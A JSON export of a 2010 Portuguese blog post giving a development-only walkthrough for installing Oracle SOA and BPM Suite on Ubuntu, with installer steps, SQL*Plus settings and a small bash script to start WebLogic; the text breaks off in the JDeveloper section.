{"id":805,"date":"2010-12-23T10:47:03","date_gmt":"2010-12-23T12:47:03","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=805"},"modified":"2025-10-26T22:41:52","modified_gmt":"2025-10-27T01:41:52","slug":"oracle-soa-e-bpm-suite","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/12\/23\/oracle-soa-e-bpm-suite\/","title":{"rendered":"Oracle SOA e BPM Suite"},"content":{"rendered":"<p style=\"text-align: justify;\">O SOA e o BPM Suite s\u00e3o produtos que fazem parte do Oracle Fusion Middleware. Eles servem para facilitar o desenvolvimento de aplica\u00e7\u00f5es SOA e prover um local \u00fanico de configura\u00e7\u00e3o e administra\u00e7\u00e3o de aplica\u00e7\u00f5es distribu\u00eddas. A instala\u00e7\u00e3o \u00e9 um pouco trabalhosa e irei abordar nesse post. Esse conte\u00fado \u00e9 sujeito \u00e0 altera\u00e7\u00f5es posteriores.<\/p>\n<p style=\"text-align: justify;\">Essa configura\u00e7\u00e3o \u00e9 apenas para desenvolvimento. N\u00e3o realize esse procedimento em ambiente de produ\u00e7\u00e3o!<\/p>\n<p style=\"text-align: justify;\">Garanta que o seu sistema tenha os pr\u00e9-requisitos m\u00ednimos:<\/p>\n<ul style=\"text-align: justify;\">\n<li>2GB de mem\u00f3ria RAM (Eu recomendo 4GB ou mais)<\/li>\n<li>Processador Dual Core 1.5GHz ou superior<\/li>\n<li>15GB de espa\u00e7o em disco<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Eu estou instalando em um Ubuntu 64 bits, mas o recomendando \u00e9 Red Hat ou Solaris. Fa\u00e7a o download dos seguintes produtos Oracle:<\/p>\n<ul style=\"text-align: justify;\">\n<li>Database<\/li>\n<li>Weblogic Server<\/li>\n<li>Repository Creation Utility<\/li>\n<li>BPM Suite e Patch<\/li>\n<li>JDeveloper<\/li>\n<li>SOA e BPM extensions para JDeveloper<\/li>\n<li>WebCenter Suite (Opcional e abordarei em outro post)<\/li>\n<li>Universal Content Management (Opcional e abordarei em outro post)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Os links para os produtos patchs e atualiza\u00e7\u00f5es pode ser encontrado em: <a href=\"http:\/\/www.oracle.com\/technetwork\/middleware\/bpm\/downloads\/index.html\">http:\/\/www.oracle.com\/technetwork\/middleware\/bpm\/downloads\/index.html<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Atualiza\u00e7\u00e3o dia 19\/01\/2011:<\/strong> Execute os procedimentos descritos <a title=\"Muitos arquivos abertos\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2011\/01\/19\/muitos-arquivos-abertos\/\" target=\"_blank\" rel=\"noopener\">aqui<\/a>, antes de prosseguir com a instala\u00e7\u00e3o. Verifique tamb\u00e9m se seu arquivo \/etc\/hosts est\u00e1 com o 127.0.0.1 e o IP da m\u00e1quina apontando para localhost.<\/p>\n<h3 style=\"text-align: justify;\">Instala\u00e7\u00e3o da Base<\/h3>\n<p style=\"text-align: justify;\">Garanta que sua base Oracle esteja instalada e em execu\u00e7\u00e3o. No Blog do Luan tem um passo a passo da insta\u00e7\u00e3o do Oracle XE no Ubuntu.<\/p>\n<h3 style=\"text-align: justify;\">Instala\u00e7\u00e3o do Weblogic Server (WLS)<\/h3>\n<p style=\"text-align: justify;\">Fa\u00e7a o download o Weblogic Server para sua plataforma em: <a title=\"WLS\" href=\"http:\/\/www.oracle.com\/technetwork\/middleware\/ias\/downloads\/wls-main-097127.html\" target=\"_blank\" rel=\"noopener\">http:\/\/www.oracle.com\/technetwork\/middleware\/ias\/downloads\/wls-main-097127.html<\/a><\/p>\n<p style=\"text-align: justify;\">Eu escolhi a vers\u00e3o 10.3.3 com o Coherence e OEPE porque vou utilizar para outros projetos. Sinta-se livre para escolher sem esses recursos. Transforme o arquivo em execut\u00e1vel se voc\u00ea estiver no linux: <em>chmod +x wls1033_oepe111150_linux32.bin<\/em> e execute-o <em>.\/wls1033_oepe111150_linux32.bin <\/em>(ou .exe, caso Windows).<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_807\" aria-describedby=\"caption-attachment-807\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Installer-WebLogic-10.3.3.0.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-807 \" title=\"Oracle Installer - WebLogic 10.3.3.0\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Installer-WebLogic-10.3.3.0-300x205.png\" alt=\"Oracle Installer - WebLogic 10.3.3.0\" width=\"300\" height=\"205\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Installer-WebLogic-10.3.3.0-300x205.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Installer-WebLogic-10.3.3.0.png 592w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-807\" class=\"wp-caption-text\">Oracle Installer - WebLogic 10.3.3.0<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Next. Defina um local que voc\u00ea tenha permiss\u00e3o para sua Middleware Home e clique em Next. Se voc\u1ebd tiver suporte da Oracle informe na pr\u00f3xima tela, sen\u00e3o \u00e9 s\u00f3 desmarcar e clicar em Next. Escolha a op\u00e7\u00e3o Tipical (mais pr\u00e1tico), Next. Aceite os caminhos para a instala\u00e7\u00e3o, Next e na pr\u00f3xima tela, verifique as informa\u00e7\u00f5es e clique em Next novamente. Ap\u00f3s a instala\u00e7\u00e3o, clique em Done.<\/p>\n<h3 style=\"text-align: justify;\">Instala\u00e7\u00e3o do Repository Creation Utility (RCU)<\/h3>\n<p style=\"text-align: justify;\">O RCU tem alguns pr\u00e9-requisitos na base, acesse o SQLPlus como SYSDBA (<em>conn \\ as sysdba<\/em>) e digite os seguintes comandos:<\/p>\n<ul>\n<li><em>alter system set processes=500 scope=spfile; <\/em><\/li>\n<li><em>alter system set open_cursors=500 scope=spfile;<\/em><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Reinicie a base (comando <em>shutdown;<\/em> e <em>startup;<\/em>). Fa\u00e7a o download do RCU para sua plataforma. Descompacte o arquivo em uma pasta, acesse rcuHome\/bin e execute o arquivo rcu.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_808\" aria-describedby=\"caption-attachment-808\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-Welcome.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-808 \" title=\"Repository Creation Utility - Welcome\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-Welcome-300x218.png\" alt=\"Repository Creation Utility - Welcome\" width=\"300\" height=\"218\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-Welcome-300x218.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-Welcome.png 792w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-808\" class=\"wp-caption-text\">Repository Creation Utility - Welcome<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Next e selecione a op\u00e7\u00e3o Create e Next novamente. Informe os seguintes dados para uma base Oracle XE local e clique em Next:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_810\" aria-describedby=\"caption-attachment-810\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-Step-2-of-7-Database-Connection-Details.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-810 \" title=\"Repository Creation Utility - Step 2 of 7 : Database Connection Details\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-Step-2-of-7-Database-Connection-Details-300x218.png\" alt=\"Repository Creation Utility - Step 2 of 7 : Database Connection Details\" width=\"300\" height=\"218\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-Step-2-of-7-Database-Connection-Details-300x218.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-Step-2-of-7-Database-Connection-Details.png 792w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-810\" class=\"wp-caption-text\">Repository Creation Utility - Step 2 of 7 : Database Connection Details<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ao executar os scripts voc\u00ea receber\u00e1 a seguinte mensagem de erro:<\/p>\n<blockquote style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">The database you are connecting is not a supported version. Enter Database with version equal to or higher than 10.2.0.4.0 in 10g or version equal or higher than 11.1.0.7.0 in 11g. Refer to certification matrix for supported DB versions.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_818\" aria-describedby=\"caption-attachment-818\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-818 \" title=\"Repository Creation Utility\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-300x121.png\" alt=\"Repository Creation Utility\" width=\"300\" height=\"121\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility-300x121.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Repository-Creation-Utility.png 387w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-818\" class=\"wp-caption-text\">Repository Creation Utility<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Isso ir\u00e1 ocorrer se voc\u00ea estiver utilizando a vers\u00e3o XE do Oracle 10g. Pode selecionar Ignore. Clique em OK ap\u00f3s a execu\u00e7\u00e3o. Selecione os componentes que ir\u00e1 utilizar, exceto o Oracle Identity Manager e Oracle Adaptive Access Manager se voc\u00ea estiver utilizando a base XE. E para a instala\u00e7\u00e3o ficar mais r\u00e1pida, n\u00e3o selecione a op\u00e7\u00e3o Portal se voc\u00ea n\u00e3o for precisar. Tamb\u00e9m tive problemas com o AS Common Schemas\/Enterprise Scheduler Service no XE, caso for utilizar, ser\u00e1 necess\u00e1rio ignorar alguns erros de SQL na cria\u00e7\u00e3o das tabelas.<\/p>\n<p style=\"text-align: justify;\">Se voc\u00ea n\u00e3o for instalar o BAM, apenas o BPM, as seguintes op\u00e7\u00f5es j\u00e1 s\u00e3o suficientes:<\/p>\n<ul>\n<li>AS Common Schemas\n<ul>\n<li>Metadata Services<\/li>\n<\/ul>\n<\/li>\n<li>SOA and BPM infra\n<ul>\n<li>SOA Infra<\/li>\n<li>User Messaging Service<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ap\u00f3s a verifica\u00e7\u00e3o dos pr\u00e9-requisitos, clique em Ok. Informe uma senha para os schemas e clique em Next. Informe um ID para o reposit\u00f3rio master e work (valor entre 0 e 50), as senhas, um nome pro reposit\u00f3rio work e o tipo D para especificar que \u00e9 para desenvolvimento, clique em Next. Altere os Tablespaces, caso necess\u00e1rio, e clique em Next e OK para criar as tablespaces. Clique em OK ap\u00f3s a cria\u00e7\u00e3o. Verifique as informa\u00e7\u00f5es e clique em Create. Aguarde um bom tempo para cria\u00e7\u00e3o das tabelas, tablespaces e afins. Verifique o Completion Summary e clique em Close. Guarde esse instalador para posterior Drop em tabelas, caso se fa\u00e7a necess\u00e1rio.<\/p>\n<h3 style=\"text-align: justify;\">Instala\u00e7\u00e3o do SOA\/BPM Suite + Patch<\/h3>\n<p style=\"text-align: justify;\">Se voc\u00ea instalou a base Oracle localmente j\u00e1 deve ter\u00a0 quase todos pacotes nativos que s\u00e3o pr\u00e9-requisitos para o SOA Suite. Adicione o sysstat que \u00e9 um conjunto de ferramentas de monitoramento de desempenho utilizado pelo SOA Suite e o RPM: <em>sudo apt-get install sysstat rpm<br \/>\n<\/em><\/p>\n<p style=\"text-align: justify;\">Crie tamb\u00e9m um link simb\u00f3lico para o RPM: <em>sudo ln -s \/usr\/bin\/rpm \/bin\/rpm<\/em><\/p>\n<p style=\"text-align: justify;\">Para a vers\u00e3o 11.1.1.3.0 \u00e9 necess\u00e1rio instalar a vers\u00e3o 11.1.1.2.0 e depois o patch para a 11.1.1.3.0. Baixe os dois arquivos e descompacte-os em pastas separadas. Cada arquivo desse gerar\u00e1 algumas pastas: Disk 1, Disk 2, .... Acesse a pasta Disk 1 e execute o arquivo runInstaller (ou setup.exe se for Windows). Caso ele pergunte, especifique o caminho do seu JDK.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_824\" aria-describedby=\"caption-attachment-824\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Suite-Installation-Step-1-of-6.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-824 \" title=\"Oracle Fusion Middleware 11g SOA Suite Installation - Step 1 of 6\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Suite-Installation-Step-1-of-6-300x233.png\" alt=\"Oracle Fusion Middleware 11g SOA Suite Installation - Step 1 of 6\" width=\"300\" height=\"233\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Suite-Installation-Step-1-of-6-300x233.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Suite-Installation-Step-1-of-6.png 645w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-824\" class=\"wp-caption-text\">Oracle Fusion Middleware 11g SOA Suite Installation - Step 1 of 6<\/figcaption><\/figure>\n<p>Execute o seguinte comando no terminal: <em>sudo bash ~\/oraInventory\/createCentralInventory.sh<\/em><\/p>\n<p style=\"text-align: justify;\">Clique em Next. Se voc\u00ea n\u00e3o estiver executando o Oracle Enterprise Linux, Red Hat, Solaris, HP-UX ou Suse, o Status das verifica\u00e7\u00f5es ficar\u00e3o em Warning ou Error, pois ele n\u00e3o saber\u00e1 qual a vers\u00e3o do Sistema Operacional. Clique em Continue. Nessa pr\u00f3xima tela, selecione o caminho de instala\u00e7\u00e3o do Middleware Home onde foi instalado o Weblogic Server e especifique um nome pro Home do SOA Suite, clique em Next. Verifique os valores fornecidos e clique em Install. Ap\u00f3s a instala\u00e7\u00e3o, clique em Next e Finish.<\/p>\n<p style=\"text-align: justify;\">Agora \u00e9 necess\u00e1rio instalar o patch set descompactado anteriormente. Acesse o Disk1 do patch e execute o runInstaller no Linux e setup.exe no Windows. Especifique a localiza\u00e7\u00e3o da JVM e ir\u00e1 abrir a seguinte tela.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_834\" aria-describedby=\"caption-attachment-834\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Patchset-Installation-Step-1-of-51.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-834\" title=\"Oracle Fusion Middleware 11g SOA Patchset Installation - Step 1 of 5\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Patchset-Installation-Step-1-of-51-300x233.png\" alt=\"Oracle Fusion Middleware 11g SOA Patchset Installation - Step 1 of 5\" width=\"300\" height=\"233\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Patchset-Installation-Step-1-of-51-300x233.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Patchset-Installation-Step-1-of-51.png 645w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-834\" class=\"wp-caption-text\">Oracle Fusion Middleware 11g SOA Patchset Installation - Step 1 of 5<\/figcaption><\/figure>\n<p>Clique em Next. Selecione o Middleware Home que foi definido anteriormente, clique em Next e install. Ap\u00f3s a instala\u00e7\u00e3o, clique em Next e Finish.<\/p>\n<p style=\"text-align: justify;\">Abra o SQLPlus e digite o seguinte comando: <em>alter system set aq_tm_processes=1 scope=both;<\/em><\/p>\n<h3>Cria\u00e7\u00e3o do dom\u00ednio<\/h3>\n<p style=\"text-align: justify;\">Execute o seguinte arquivo: <em>&lt;DIR DO SOA SUITE&gt;\/Middleware\/wlserver_10.3\/common\/bin\/config.sh<\/em>.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_881\" aria-describedby=\"caption-attachment-881\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-881 \" title=\"Fusion Middleware Configuration Wizard\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-300x205.png\" alt=\"Fusion Middleware Configuration Wizard\" width=\"300\" height=\"205\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-300x205.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard.png 778w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-881\" class=\"wp-caption-text\">Fusion Middleware Configuration Wizard<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Next. Escolhas as op\u00e7\u00f5es desejadas.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_882\" aria-describedby=\"caption-attachment-882\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-1.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-882 \" title=\"Fusion Middleware Configuration Wizard-1\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-1-300x205.png\" alt=\"Fusion Middleware Configuration Wizard-1\" width=\"300\" height=\"205\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-1-300x205.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-1.png 778w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-882\" class=\"wp-caption-text\">Fusion Middleware Configuration Wizard-1<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Next. D\u00ea um nome para o dom\u00ednio e especifique o local do dom\u00ednio e aplica\u00e7\u00f5es e clique em Next. Especifique o usu\u00e1rio e senha do usu\u00e1rio administrativo e clique em Next. Escolha o jdk e o modo do dom\u00ednio e clique em Next. Selecione os checkboxes, configure a senha (informada no rcu), servi\u00e7o e hostname. Importante: n\u00e3o modifique o Schema Owner!<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_883\" aria-describedby=\"caption-attachment-883\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-2.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-883 \" title=\"Fusion Middleware Configuration Wizard-2\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-2-300x205.png\" alt=\"Fusion Middleware Configuration Wizard-2\" width=\"300\" height=\"205\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-2-300x205.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-2.png 778w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-883\" class=\"wp-caption-text\">Fusion Middleware Configuration Wizard-2<\/figcaption><\/figure>\n<p>Clique em Next. Teste as conex\u00f5es e clique em Next. Clique em Next novamente e Create para a cria\u00e7\u00e3o do domain. Ap\u00f3s a cria\u00e7\u00e3o clique em Done.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_885\" aria-describedby=\"caption-attachment-885\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-3.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-885 \" title=\"Fusion Middleware Configuration Wizard-3\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-3-300x205.png\" alt=\"Fusion Middleware Configuration Wizard-3\" width=\"300\" height=\"205\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-3-300x205.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Fusion-Middleware-Configuration-Wizard-3.png 778w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-885\" class=\"wp-caption-text\">Fusion Middleware Configuration Wizard-3<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Dom\u00ednio criado!<\/p>\n<p style=\"text-align: justify;\">Inicie o Node Manager: <em><em>&lt;DIR DO SOA SUITE&gt;<\/em>\/Middleware\/wlserver_10.3\/server\/bin\/startNodeManager.sh<\/em>. Ele ir\u00e1 criar um arquivo de configura\u00e7\u00e3o. Aperte Ctrl+C para parar a execu\u00e7\u00e3o. Execute o seguinte arquivo: <em><em><em>&lt;DIR DO SOA SUITE&gt;\/<\/em><\/em>Middleware\/oracle_common\/common\/bin\/setNMProps.sh<\/em>. Ele ir\u00e1 alterar o arquivo <em>&lt;DIR DO SOA SUITE&gt;\/Middleware\/wlserver_10.3\/common\/nodemanager\/nodemanager.properties<\/em>.<\/p>\n<p style=\"text-align: justify;\">Uma boa altera\u00e7\u00e3o de se fazer \u00e9 alterar os par\u00e2metros de mem\u00f3ria no arquivo startWeblogic.sh ou no setDomainEnv.sh, mas isso fica para um pr\u00f3ximo post. Outra recomenda\u00e7\u00e3o \u00e9 executar o smart update para corre\u00e7\u00f5es de poss\u00edveis problemas: <em>&lt;DIR DO SOA SUITE&gt;\/<\/em>Middleware\/utils\/bsu\/bsu.sh<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_887\" aria-describedby=\"caption-attachment-887\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Smart-Update.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-887\" title=\"Oracle Smart Update\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Smart-Update-300x215.png\" alt=\"Oracle Smart Update\" width=\"300\" height=\"215\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Smart-Update-300x215.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Oracle-Smart-Update.png 798w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-887\" class=\"wp-caption-text\">Oracle Smart Update<\/figcaption><\/figure>\n<h3>Executando o dom\u00ednio<\/h3>\n<p>Para facilitar a execu\u00e7\u00e3o eu criei um script respons\u00e1vel pela inicializa\u00e7\u00e3o do Node Manager e do Admin Server.<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n#!\/bin\/bash\n\nSOA_DOMAIN_HOME=\/opt\/Oracle11gSOABPM\nSOA_DOMAIN_PATH=$SOA_DOMAIN_HOME\/Middleware\/user_projects\/domains\/base_domain\n\nNODE_MANAGER=`ps -ef | grep -v grep | grep nodemanager | wc -l`\n\nif &#x5B; &amp;quot;0&amp;quot; = &amp;quot;$NODE_MANAGER&amp;quot; ];\nthen\n echo Starting SOA Domain Node Manager...\n nohup $SOA_DOMAIN_HOME\/Middleware\/wlserver_10.3\/server\/bin\/startNodeManager.sh &amp;gt; nodeManager.log &amp;amp;\nelse\n echo SOA Domain Node Manager already running, skipping...\nfi\n echo Starting Weblogic Admin Server...\n nohup $SOA_DOMAIN_PATH\/startWebLogic.sh &amp;gt; adminServer.log &amp;amp;\n<\/pre>\n<p style=\"text-align: justify;\">Altere o SOA_DOMAIN_HOME e o SOA_DOMAIN_PATH para os caminhos adequados do seu ambiente. Deixe o arquivo execut\u00e1vel: <em>chmod +x startSOADomain.sh<\/em><\/p>\n<p style=\"text-align: justify;\">Agora \u00e9 s\u00f3 executar o script e acompanhar o log de execu\u00e7\u00e3o nodeManager.log e adminServer.log. Depois acesse o Enterprise Manager: http:\/\/localhost:7001\/em e inicie o SOA Server.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_895\" aria-describedby=\"caption-attachment-895\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Farm_base_domain-Oracle-Fusion-Middleware-Farm-Oracle-Enterprise-Manager-weblogic-Mozilla-Firefox.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-895 \" title=\"Farm_base_domain (Oracle Fusion Middleware Farm)\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Farm_base_domain-Oracle-Fusion-Middleware-Farm-Oracle-Enterprise-Manager-weblogic-Mozilla-Firefox-300x188.png\" alt=\"Farm_base_domain (Oracle Fusion Middleware Farm)\" width=\"300\" height=\"188\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Farm_base_domain-Oracle-Fusion-Middleware-Farm-Oracle-Enterprise-Manager-weblogic-Mozilla-Firefox-300x188.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/12\/Screenshot-Farm_base_domain-Oracle-Fusion-Middleware-Farm-Oracle-Enterprise-Manager-weblogic-Mozilla-Firefox.png 903w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-895\" class=\"wp-caption-text\">Farm_base_domain (Oracle Fusion Middleware Farm)<\/figcaption><\/figure>\n<h3>Instala\u00e7\u00e3o JDeveloper + Extensions<\/h3>\n<p style=\"text-align: justify;\">Fa\u00e7a o download do JDeveloper em: <a title=\"JDeveloper\" href=\"http:\/\/www.oracle.com\/technetwork\/developer-tools\/jdev\/downloads\/soft11-098086.html\" target=\"_blank\" rel=\"noopener\">http:\/\/www.oracle.com\/technetwork\/developer-tools\/jdev\/downloads\/soft11-098086.html<\/a><\/p>\n<p style=\"text-align: justify;\">Prossiga com a instala\u00e7\u00e3o padr\u00e3o. Abra o JDeveloper, no linux fica no caminho: jdeveloper\/jdev\/bin\/jdev.<\/p>\n<p style=\"text-align: justify;\">Acesse Help, Check for Updates, clique em Next, marque o Update Center do Oracle Fusion Middleware e Clique em Next.<\/p>\n<div>\n<dl id=\"attachment_827\">\n<dt>\n<figure id=\"attachment_827\" 